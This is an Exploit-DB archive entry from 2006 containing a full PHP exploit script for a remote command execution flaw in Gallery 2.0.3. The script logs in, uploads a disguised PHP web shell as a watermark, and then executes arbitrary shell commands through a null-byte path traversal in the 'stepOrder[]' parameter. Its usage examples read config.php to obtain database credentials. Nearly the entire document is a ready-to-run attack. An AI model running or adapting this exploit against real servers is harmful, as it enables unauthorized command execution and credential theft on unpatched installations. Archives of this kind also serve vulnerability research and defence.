Gallery 2.0.3 - 'stepOrder[]' Remote Command Execution

EDB-ID:

1566

Author:

rgod

Type:

webapps

Platform:

PHP

Published:

2006-03-08

#!/usr/bin/php -q -d short_open_tag=on
<?
echo "Gallery <=2.0.3 \"stepOrder[]\" remote cmmnds xctn                    \r\n";
echo "by rgod rgod<AT>autistici<DOT>org                                     \r\n";
echo "site: http://retrogod.altervista.org                              \r\n\r\n";
echo "-> works with register_globals = On and magic_quotes_gpc = Off        \r\n";

if ($argc<5) {
echo "Usage: php ".$argv[0]." host path user pass cmd OPTIONS              \r\n";
echo "host:      target server (ip/hostname)                               \r\n";
echo "path:      path to gallery2                                          \r\n";
echo "user-pass: this exploit needs valid user credentials to upload a     \r\n";
echo "           watermark                                                 \r\n";
echo "cmd:       a shell command                                           \r\n";
echo "Options:                                                             \r\n";
echo "   -p[port]:    specify a port other than 80                         \r\n";
echo "   -P[ip:port]: specify a proxy                                      \r\n";
echo "Examples:                                                            \r\n";
echo "php ".$argv[0]." localhost /gallery2/ user pass cat ./../config.php  \r\n";
echo "php ".$argv[0]." localhost /gallery2/ user pass type .\..\config.php \r\n";
echo "php ".$argv[0]." localhost /gallery2/ user pass -p81 -P1.1.1.1:80 ls -la\r\n";
die;
}

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  //debug
  //echo "\r\n".$html;
}

$host=$argv[1];$path=$argv[2];$user=$argv[3];$pass=$argv[4];
$cmd="";$port=80;$proxy="";

for ($i=5; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
$cmd=urlencode($cmd);
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}


echo "STEP 1 -> Login...\r\n";
$data ="g2_navId=xebb12f28";
$data.="&g2_formUrl=http%3A%2F%2F".urlencode($host.$path)."main.php%3Fg2_view%3Dcore.UserAdmin%26g2_subView%3Dcore.UserLogin";
$data.="&g2_controller=core.UserLogin";
$data.="&g2_form%5BformName%5D=UserLogin";
$data.="&g2_form%5Busername%5D=".$user;
$data.="&g2_form%5Bpassword%5D=".$pass;
$data.="&g2_form%5Baction%5D%5Blogin%5D=Login";
$packet ="POST ".$p."main.php HTTP/1.1\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; it) Opera 8.50\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
//debug
//echo quick_dump($packet);

sendpacketii($packet);
if (!eregi("Location:",$html)) {echo "Failed to login...";die;}
                          else {echo "Login -> OK\r\n";}
$temp=explode("Set-Cookie: ",$html);
$temp2=explode(" ",$temp[1]);
$COOKIE=$temp2[0];
$temp2=explode(" ",$temp[2]);
$COOKIE.=" ".str_replace(";","",$temp2[0]);
echo "COOKIE ->".$COOKIE."\r\n";

echo "STEP 2 -> Upload evil file...\r\n";
$data="------------2xqpvaUR5xYUMAC8KQGMSV
Content-Disposition: form-data; name=\"g2_returnName\"

user watermarks
------------2xqpvaUR5xYUMAC8KQGMSV
Content-Disposition: form-data; name=\"g2_navId\"

xebb12f28
------------2xqpvaUR5xYUMAC8KQGMSV
Content-Disposition: form-data; name=\"g2_formUrl\"

http://".$host.$path."main.php?g2_view=core.UserAdmin&g2_subView=watermark.UserWatermarks
------------2xqpvaUR5xYUMAC8KQGMSV
Content-Disposition: form-data; name=\"g2_controller\"

watermark.UserWatermarks
------------2xqpvaUR5xYUMAC8KQGMSV
Content-Disposition: form-data; name=\"g2_form[formName]\"

UserWatermarks
------------2xqpvaUR5xYUMAC8KQGMSV
Content-Disposition: form-data; name=\"g2_form[1]\"; filename=\"SUNTZUUUUUUU\"
Content-Type: text/plain

<?php echo \"*#*\";ini_set(\"max_execution_time\",0);passthru(\$_GET[\"CMD\"]);echo \"*#*\";die();?>
------------2xqpvaUR5xYUMAC8KQGMSV
Content-Disposition: form-data; name=\"g2_form[action][add]\"

Add
------------2xqpvaUR5xYUMAC8KQGMSV--
";

$packet="POST ".$p."main.php HTTP/1.1\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; it) Opera 8.50\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$COOKIE."\r\n";
$packet.="Content-Type: multipart/form-data; boundary=----------2xqpvaUR5xYUMAC8KQGMSV\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
//debug
//echo quick_dump($packet);
sendpacketii($packet);

$two_in_one= array("upgrade","install");
for ($i=0; $i<=count($two_in_one)-1;$i++)
{
$step=3+$i;
echo "STEP ".$step." -> Launch commands through ".$two_in_one[$i]." scripts ...\r\n";
$xpl=urlencode("../../g2data/plugins_data/modules/watermark/SUNTZUUUUUUU".chr(0x00));
$packet="GET ".$p.$two_in_one[$i]."/index.php?CMD=".$cmd."&stepOrder[]=".$xpl." HTTP/1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
//debug
//echo quick_dump($packet);
sendpacketii($packet);
//debug
//echo $html;
if (eregi("\*#\*",$html)) {
$out=explode("*#*",$html);
echo $out[1];
die ("Exploit succeeded...\r\n");
}
}
# if you are here...
echo "Exploit failed...\r\n";
?>

# milw0rm.com [2006-03-08]